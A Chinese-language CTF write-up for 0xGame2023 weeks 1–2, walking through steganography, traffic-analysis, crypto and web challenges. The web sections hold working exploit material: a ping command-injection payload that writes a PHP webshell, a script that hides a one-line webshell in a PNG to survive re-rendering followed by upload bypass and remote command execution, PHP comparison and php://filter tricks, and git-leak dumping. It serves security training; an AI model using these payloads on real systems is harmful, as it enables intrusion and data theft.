0xGame2023

[Week 1]

Misc

[Week 1] hide and seek

Hint 1: 如果我的hide是steghide那你该如何seek呢?
0xGame2023_第1张图片
0xGame2023_第2张图片
参考其他师傅的博客http://t.csdnimg.cn/5uwMx还有http://t.csdnimg.cn/rRu5L
0xGame2023_第3张图片
用工具Steghide发现需要密码,咱没有密码只能用stegseek工具爆破github项目:https://github.com/RickdeJager/stegseek
字典文件:rockyou.txt
运行time stegseek hide\ and\ seek.jpg rockyou.txt之后在同目录下下发现flag文件
0xGame2023_第4张图片

[Week 1] 重生之我在教学楼打cs

0xGame2023_第5张图片
0xGame2023_第6张图片
使用工具打开gcfscape186.zip
0xGame2023_第7张图片

[Week 1] SignIn

0xGame2023_第8张图片
附件内容:
R0I0RU9ZTE5NVjVWT1pMTU1NWUcyWks3S1JYVjZNRFlJNVFXMlpKU0dBWkRHSUpCUFU9PT09PT0=
解 base64 --> base32 即可
0xGame2023_第9张图片

[Week 1] shark shark

0xGame2023_第10张图片
wireShark打开后追踪TCP流,发现密码very_safe_password
0xGame2023_第11张图片
0xGame2023_第12张图片
在第四个流里面发现zip压缩包的十六进制数据,把它保存为txt文件,然后导入010editer后保存为zip文件
0xGame2023_第13张图片
0xGame2023_第14张图片
0xGame2023_第15张图片
Ctrl + S快捷键保存文件
0xGame2023_第16张图片
打开压缩包,解压需要密码,输入刚刚的very_safe_password,然后获得flag
0xGame2023_第17张图片
0xGame2023_第18张图片

[Week 1] least and most

0xGame2023_第19张图片
LSB隐写,用StegSolve打开,选择Data Extract
0xGame2023_第20张图片
0xGame2023_第21张图片
RGB通道最后面那里打上三个√,选择LSB First,然后点击Preview获得前半段flag
0xGame2023_第22张图片
根据题意,least的反义词就是most,那么我们把RGB通道最前面那里打上三个√,选择LSB First,然后点击Preview获得后半段flag
0xGame2023_第23张图片

Web

其他师傅的WP0xGame2023 wp _ 甜筒园.htmlhttps://www.ttycp3.top/archives/d4f5203b.html

[Week 1] hello_http

0xGame2023_第24张图片
依次传入这几个参数,并且修改HTTP头数据即可
0xGame2023_第25张图片

[Week 1] signin

0xGame2023_第26张图片
访问网站之后Ctrl + U 查看源代码,发现一个JS文件,点开看看
0xGame2023_第27张图片
0xGame2023_第28张图片
在这个js文件的最后一行发现了一行注释,它说源代码在index-33309f51.js.map,发现它和这个js的文件路径很像,那么我们访问一下
0xGame2023_第29张图片
0xGame2023_第30张图片
访问这个文件之后就会自动的下载下来,打开之后直接搜索0xgame就发现了flag
0xGame2023_第31张图片
0xGame2023_第32张图片

[Week 1] baby_php

a和b用数组绕过MD5弱比较,利用md5()函数的缺陷进行绕过;
is_numeric()函数用1024.1a绕。1024.1a是字符串,但是弱比较的时候,因为数字在前面,弱比较的时候,php会将其整体转成数字,就可以通过is_numeric() 的检测并且不等于1024;
而intval()函数 获取变量的整数值,那么1024.1就变成了1024;
最后Cookie传值name使用文件包含name=php://filter/convert.base64-encode/resource=flag

  • php://filter可以获取指定文件源码。当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取任意文件源代码。

0xGame2023_第33张图片
对其进行base64解码之后就可以获得flag
0xGame2023_第34张图片
0xGame2023_第35张图片

[Week 1] repo_leak

0xGame2023_第36张图片
git泄露,用工具GitHacker

#安装
python3 -m pip install -i https://pypi.org/simple/ GitHacker
#运行
githacker --url http://120.27.148.152:50013/.git/ --output-folder result
#进入目录后查看历史版本
git log --reflog


#切换版本为flag那个
git reset --hard 8a5b670558921bd232d75b29542492f00698298b
#在当前目录匹配包含flag的文件
grep -r  "flag" ./

0xGame2023_第37张图片
0xGame2023_第38张图片

[Week 1] ping

0xGame2023_第39张图片
0xGame2023_第40张图片
Ctrl + U查看源代码,发现hint在api的源码里面
0xGame2023_第41张图片
0xGame2023_第42张图片

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

利用管道符进行多命令执行,写文件到当前目录:

ip=127.0.0.1|echo${IFS}"PD9waHAgc3lzdGVtKCdjYXQgL2YqJyk7"|base64${IFS}-d${IFS}>1.php

0xGame2023_第43张图片
0xGame2023_第44张图片

Crypto

[Week 1] Vigenere

0xGame2023_第45张图片
0xGame2023_第46张图片
因为秘钥只能是字母,练习本次比赛,盲猜为game,猜对了
0xGame2023_第47张图片

PWN

[Week 1] 找不到且不对劲的flag

0xGame2023_第48张图片

依次输入命令即可

0xGame2023_第49张图片

[Week 2]

Web

[Week 2] ez_upload

0xGame2023_第50张图片
题目附件:
f044d557fc93de077e4fe649ed6280b3 (1).zip
0xGame2023_第51张图片
先看一下附件的upload.php文件,发现imagecreatefromgif函数,搜索之后发现是二次渲染的函数



  session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
  mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
  case "image/gif":
  $source = imagecreatefromgif($_FILES['file']['tmp_name']);
  break;
  case "image/jpeg":
  $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
  break;
  case "image/png":
  $source = imagecreatefrompng($_FILES['file']['tmp_name']);
  break;
  default:
  die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
  case "image/gif":
  imagegif($source, $filepath);
  break;
  case "image/jpeg":
  imagejpeg($source, $filepath);
  break;
  case "image/png":
  imagepng($source, $filepath);
  break;
  default:
  die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

【文件上传绕过】——二次渲染漏洞

参考博客:[http://t.csdnimg.cn/zBoVm](http://t.csdnimg.cn/zBoVm)
二次渲染原理:

 在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

绕过:

将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话

先用脚本处理一个2.png


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容

 */

?>

用记事本打开2.png发现里面有一句话木马
0xGame2023_第52张图片
然后开启BurpSuite,在上传2.png的时候抓包,修改后缀为2.php,这样浏览器才能解析PHP代码
0xGame2023_第53张图片
0xGame2023_第54张图片
上传成功,获得文件路径,访问一下,发现已经成功解析代码,那么我们就可以进RCE(代码执行)了
0xGame2023_第55张图片
0xGame2023_第56张图片
通过下面的方式执行命令(貌似要结合文件包含,但我没发现):
get传参0=system
加上
post传参1=whoami
0xGame2023_第57张图片
在发现已经执行whoami命令显示了用户www-data之后,那么我们ls /查看一下根目录文件
0xGame2023_第58张图片
发现了flag文件,那么我们查看flag,POST传参1=cat /flag,那么就获得了最终flag
0xGame2023_第59张图片

花了三个小时才解出这题。 锲而不舍,金石可镂!

你可能感兴趣的:(CTF,web安全,http,网络,笔记,网络安全)